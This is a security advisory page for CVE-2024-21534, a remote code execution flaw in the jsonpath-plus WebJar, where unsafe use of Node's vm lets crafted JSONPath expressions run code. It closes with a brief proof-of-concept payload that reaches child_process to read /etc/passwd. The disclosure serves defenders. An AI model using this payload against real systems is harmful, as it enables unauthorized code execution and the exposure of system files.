Remote Code Execution (RCE) Affecting org.webjars.npm:jsonpath-plus package, versions [0,]
Threat Intelligence
Exploit Maturity
Proof of concept
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JAVA-ORGWEBJARSNPM-8185019
- published 14 Oct 2024
- disclosed 10 Sep 2024
- credit Andrea Angelo Raineri
Introduced: 10 Sep 2024
CVE-2024-21534 Open this link in a new tabHow to fix?
There is no fixed version for org.webjars.npm:jsonpath-plus.
Overview
org.webjars.npm:jsonpath-plus is an A JS implementation of JSONPath with some additional operators
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper input sanitization. An attacker can execute aribitrary code on the system by exploiting the unsafe default usage of vm in Node.
Note:
This vulnerability was mitigated in version 10.0.0 but it can still be exploited using different payloads.
PoC
# Path: index.js
const { JSONPath } = require("jsonpath-plus");
const data = {};
let x = JSONPath({
json: data,
path: "$[(this.constructor.constructor("require(\"child_process\").exec(\"cat /etc/passwd\")")())]"
});
node index.js